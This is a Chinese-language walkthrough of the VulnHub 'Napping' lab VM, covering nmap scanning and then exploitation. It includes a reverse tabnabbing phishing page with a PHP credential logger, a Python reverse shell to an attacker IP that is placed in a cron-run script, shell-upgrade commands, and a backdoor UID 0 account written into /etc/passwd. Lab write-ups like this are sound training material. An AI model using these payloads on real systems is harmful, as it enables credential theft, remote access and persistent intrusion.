下载地址：https://www.vulnhub.com/entry/napping-101,752/发布日期：2021 年 10 月 22 日作者：hadrian3689描述：Even Admins can fall asleep on the job. This works better with VirtualBox rather than VMware ## Changelog v1.0.1 - 2021-10-30 v1.0.0 - 2021-10-22

0x02 信息收集

sudo nmap -sn 192.168.56.1/24
-sn (不进行端口扫描，在旧版本中为-sP)     This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes. This is often known as a “ping scan”, but you can also request that     traceroute and NSE host scripts be run. This is by default one step more intrusive than the list scan, and can often be used for the same purposes. It allows light reconnaissance of a target network without attracting     much attention. Knowing how many hosts are up is more valuable to attackers than the list provided by list scan of every single IP and host name.
     Systems administrators often find this option valuable as well. It can easily be used to count available machines on a network or monitor server availability. This is often called a ping sweep, and is more reliable than     pinging the broadcast address because many hosts do not reply to broadcast queries.
     The default host discovery done with -sn consists of an ICMP echo request, TCP SYN to port 443, TCP ACK to port 80, and an ICMP timestamp request by default. When executed by an unprivileged user, only SYN packets are     sent (using a connect call) to ports 80 and 443 on the target. When a privileged user tries to scan targets on a local ethernet network, ARP requests are used unless --send-ip was specified. The -sn option can be     combined with any of the discovery probe types (the -P* options) for greater flexibility. If any of those probe type and port number options are used, the default probes are overridden. When strict firewalls are in     place between the source host running Nmap and the target network, using those advanced techniques is recommended. Otherwise hosts could be missed when the firewall drops probes or their responses.

通过排查ip可以发现靶机的ip为192.168.56.109

端口扫描

sudo nmap -sC -sV -p- 192.168.56.109 -oN napping.nmap
-sC (默认脚本扫描，可以通过 nmap --script-help "default" 来查看默认脚本)    Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.-sV (版本检测，-sR是-sV的别名)    Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.-p  (扫描特定端口，-p- 表示扫描1-65535端口)    This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen (e.g.  1-1023). The beginning and/or end values of a range may be    omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if you specify it explicitly. For IP protocol scanning (-sO), this option    specifies the protocol numbers you wish to scan for (0–255).
    When scanning a combination of protocols (e.g. TCP and UDP), you can specify a particular protocol by preceding the port numbers by T: for TCP, U: for UDP, S: for SCTP, or P: for IP Protocol. The qualifier lasts until    you specify another qualifier. For example, the argument -p U:53,111,137,T:21-25,80,139,8080 would scan UDP ports 53, 111,and 137, as well as the listed TCP ports. Note that to scan both UDP and TCP, you have to specify    -sU and at least one TCP scan type (such as -sS, -sF, or -sT). If no protocol qualifier is given, the port numbers are added to all protocol lists.  Ports can also be specified by name according to what the port is    referred to in the nmap-services. You can even use the wildcards * and ?  with the names. For example, to scan FTP and all ports whose names begin with “http”, use -p ftp,http*. Be careful about shell expansions and    quote the argument to -p if unsure.
    Ranges of ports can be surrounded by square brackets to indicate ports inside that range that appear in nmap-services. For example, the following will scan all ports in nmap-services equal to or below 1024: -p [-1024].    Be careful with shell expansions and quote the argument to -p if unsure.-oN (文件输出)    Requests that normal output be directed to the given filename. As discussed above, this differs slightly from interactive output.

注：使用 -A 时我们需要小心，因为它会发出大量流量，如果终端设备没有处理能力，那将是 DoS 场景。我们最好根据我们所需的输出或开放端口（需要初始侦察）自定义 nmap 命令/脚本。这将提高性能并减少扫描所消耗的时间。

可以看到靶机开放了22,80两个端口，操作系统为linux内核，发行版为Ubuntu。

0x03 WEB漏洞测试

<!DOCTYPE html><html><meta charset="utf-8"> <head>    <title>我是可以信任的A</title></head> <body>  <h1>我是可以信任的A</h1>  <li><a href="http://localhost/b.html" target="_blank">这是可能存在漏洞的链接</a></li>  <button onclick="window.open('http://localhost/b.html')">这是可能存在漏洞的链接</button> </body></html>

<html><meta charset="utf-8"> <title>我是恶意页面B</title> <body>  <script>   if (window.opener) {      window.opener.location = "http://localhost/c.html";   }else{alert("恭喜没有漏洞");}</script> </body></html>

<!DOCTYPE html><html><meta charset="utf-8"> <head>    <title>我是钓鱼页面C</title></head><body><h1>我是钓鱼页面C</h1><li><a href="http://localhost/b.html" target="_blank">这是可能存在漏洞的链接</a></li><button onclick="window.open('http://localhost/b.html')">这是可能存在漏洞的链接</button></body></html>

<!DOCTYPE html><html><body>    <script>      if (window.opener) {      window.opener.location = "http://192.168.56.102/login.php";      }</script></body></html>

<?php$myfile = fopen("access.log", "a") or die("Unable to open file!");$txt = http_build_query($GLOBALS['_POST'],'',', ')."\n";fwrite($myfile, $txt);fclose($myfile);?><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>Login</title>    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">    <style>        body{ font: 14px sans-serif; }        .wrapper{ width: 360px; padding: 20px; }</style></head><body>    <div class="wrapper">        <h2>Login</h2>        <p>Please fill in your credentials to login.</p>

        <form action="/login.php" method="post">            <div class="form-group">                <label>Username</label>                <input type="text" name="username" class="form-control " value="">                <span class="invalid-feedback"></span>            </div>                <div class="form-group">                <label>Password</label>                <input type="password" name="password" class="form-control ">                <span class="invalid-feedback"></span>            </div>            <div class="form-group">                <input type="submit" class="btn btn-primary" value="Login">            </div>            <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>        </form>    </div></body></html>

username=daniel, [email protected]

0x04 主机权限提升

find / -group administrators -type f 2>/dev/nullfind / -group daniel -type f 2>/dev/null

sudo -l  -l, --list  If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host.  A longer list format is used if this option is specified multiple times and the security policy supports a verbose output format.
    If a command is specified and is permitted by the security policy, the fully-qualified path to the command is displayed along with any command line arguments.  If a command is specified but not allowed by the policy, sudo will exit with a status value of 1.

import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.56.102",8888))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])
from datetime import datetimeimport requests
now = datetime.now()
r = requests.get('http://127.0.0.1/')if r.status_code == 200:    f = open("site_status.txt","a")    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")    f.write("Site is Up: ")    f.write(dt_string)    f.write("\n")    f.close()else:    f = open("site_status.txt","a")    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")    f.write("Check Out Site: ")    f.write(dt_string)    f.write("\n")    f.close()

python3 -c 'import pty;pty.spawn("/bin/bash")'
## 本地终端查看当前终端环境变量(kali㉿kali)-[~/Desktop] $ echo $TERMxterm-256color## 目标shell 配置环境变量adrian@napping:~$ export TERM=xterm-256coloradrian@napping:~$ export SHELL=/bin/bash## 本地终端查看终端行和列(kali㉿kali)-[~/Desktop] $ stty size24 103## 目标shell中## ctrl+z将任务存入后台返回本地终端adrian@napping:~$ ^Z[1]+  Stopped        nc -lvp 9091## 本地终端执行以下命令将终端设置为回显输入字符，以便它被受害者终端会话捕获。按照命令fg将之前存入后台的任务恢复到前台。(kali㉿kali)-[~/Desktop] $ stty raw -echo;fg##之后，您的光标可能位于终端中间的某个位置，键入reset以重置受害者终端会话。                reset## 目标shell中您需要指定带有行和列的“新”终端以使其正确显示。adrian@napping:~$ stty rows 24 columns 103
完成

0x05 添加管理员权限账户

$id$salt$encrypted

openssl passwd -6 -salt aaa 1234567
passwd     Generation of hashed passwords.-6     Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.-salt string   Use the specified salt. When reading a password from the terminal, this implies -noverify.

1. 用户名2. 密码，x表示密码保存在/etc/shadow3. UID，0代表root4. GID，表示所在组5. 描述信息，依次为Full Name、Room Number、Work Phone、Home Phone和Other6. 用户主目录7. 默认shell类型

supertest:x:0:0:root:/supertest:/bin/bash

1. 用户名2. 加密后的密码3. 上次修改密码的时间(从1970.1.1开始的总天数)4. 两次修改密码间隔的最少天数，如果为0，则没有限制5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期，如果为99999则没有限制6. 提前多少天警告用户密码将过期7. 在密码过期之后多少天禁用此用户8. 用户过期日期(从1970.1.1开始的总天数)，如果为0，则该用户永久可用9. 保留

supertest:$6$aaa$rzNpVK12/RIxUFx.HixBbeRuIJYfw78hhQ8ocZfh5S2dIwa1r7dGW52qww4wcngdOzj3A5r9ni9a8C.mruV2M0:19261:0:99999:7:::

0x06 事后分析

首先查看root用户的计划任务

根据描述可以看到每五分钟会删除所提交的链接，每次重启会删除注册的用户，每两分钟会执行nap.py脚本。

import requestsimport reimport mysql.connectormydb = mysql.connector.connect(  host="localhost",  user="adrian",  password="[email protected]",  database="website")mycursor = mydb.cursor()mycursor.execute("SELECT * FROM links")myresult = mycursor.fetchall()data = {"username":"daniel","password":"[email protected]"        }for x in myresult:  url1 = x[0]try:    r1 = requests.get(url1,timeout=2)    search = r1.textif (search.find('location.replace') != -1):        match = re.findall("http(.*)\);",search)        new_url = 'http' + match[0].rstrip(match[0][-1])        r2 = requests.post(new_url,data=data,timeout=2)    elif (search.find('opener.location') != -1):        match = re.findall("http(.*);",search)        new_url = 'http' + match[0].rstrip(match[0][-1])        r2 = requests.post(new_url,data=data,timeout=2)  except requests.exceptions.ReadTimeout:    continue

看到这个脚本也就验证了之前Reverse Tabnabbing钓鱼的想法，这里将上传链接内部的opener.location或location.replace跳转的url进行匹配，然后post提交用户名密码，可以说是将工作时睡着的管理员模仿的十分到位了。

下面来分析一下登陆页面看看是否真的不存在sql注入

<?php// 初始化会话session_start(); // 检查用户是否已经登录，如果是，则将其重定向到欢迎页面if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){    header("location: welcome.php");    exit;} // 包含配置文件require_once "config.php"; // 初始化自定义变量$username = $password = "";$username_err = $password_err = $login_err = ""; // 处理提交的form表单数据if($_SERVER["REQUEST_METHOD"] == "POST"){     // 检查username是否为空    if(empty(trim($_POST["username"]))){        $username_err = "Please enter username.";    } else{        $username = trim($_POST["username"]);    }        // 检查password是否为空    if(empty(trim($_POST["password"]))){        $password_err = "Please enter your password.";    } else{        $password = trim($_POST["password"]);    }        // 身份验证    if(empty($username_err) && empty($password_err)){        // 构建select语句        $sql = "SELECT id, username, password FROM users WHERE username = ?";                if($stmt = $mysqli->prepare($sql)){            // 将变量作为参数绑定到准备好的语句            $stmt->bind_param("s", $param_username);                        // 参数设置            $param_username = $username;                        // 尝试执行准备好的语句            if($stmt->execute()){                // 储存结果                $stmt->store_result();                                // 检查用户名是否存在，如果存在则验证密码                if($stmt->num_rows == 1){                                        // 绑定结果变量                    $stmt->bind_result($id, $username, $hashed_password);                    if($stmt->fetch()){                        if(password_verify($password, $hashed_password)){                            // 密码正确，所以开始一个新的会话                            session_start();                                                        // 将数据存储在会话变量中                            $_SESSION["loggedin"] = true;                            $_SESSION["id"] = $id;                            $_SESSION["username"] = $username;                                                                                    // 将用户重定向到欢迎页面                            header("location: welcome.php");                        } else{                            // 密码无效，显示一般错误消息                            $login_err = "Invalid username or password.";                        }                    }                } else{                    // 用户名不存在，显示一般错误消息                    $login_err = "Invalid username or password.";                }            } else{                echo "Oops! Something went wrong. Please try again later.";            }
            // 关闭语句            $stmt->close();        }    }        // 关闭MySQL连接    $mysqli->close();}?> <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>Login</title>    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">    <style>        body{ font: 14px sans-serif; }        .wrapper{ width: 360px; padding: 20px; }</style></head><body>    <div class="wrapper">        <h2>Login</h2>        <p>Please fill in your credentials to login.</p>
        <?php         if(!empty($login_err)){            echo '<div class="alert alert-danger">' . $login_err . '</div>';        }                ?>
        <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">            <div class="form-group">                <label>Username</label>                <input type="text" name="username" class="form-control <?php echo (!empty($username_err)) ? 'is-invalid' : ''; ?>" value="<?php echo $username; ?>">                <span class="invalid-feedback"><?php echo $username_err; ?></span>            </div>                <div class="form-group">                <label>Password</label>                <input type="password" name="password" class="form-control <?php echo (!empty($password_err)) ? 'is-invalid' : ''; ?>">                <span class="invalid-feedback"><?php echo $password_err; ?></span>            </div>            <div class="form-group">                <input type="submit" class="btn btn-primary" value="Login">            </div>            <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>        </form>    </div></body></html>

0x07 参考链接

https://developer.mozilla.org/en-US/docs/Web/API/Window/opener#browser_compatibilityhttps://xz.aliyun.com/t/7080https://mp.weixin.qq.com/s/6BRhAOdleFt1sty9I0P9QQhttps://3gstudent.github.io/Linux%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81Hash-%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8E%E7%A0%B4%E8%A7%A3%E6%96%B9%E6%B3%95%E7%9A%84%E6%8A%80%E6%9C%AF%E6%95%B4%E7%90%86

关 注 有 礼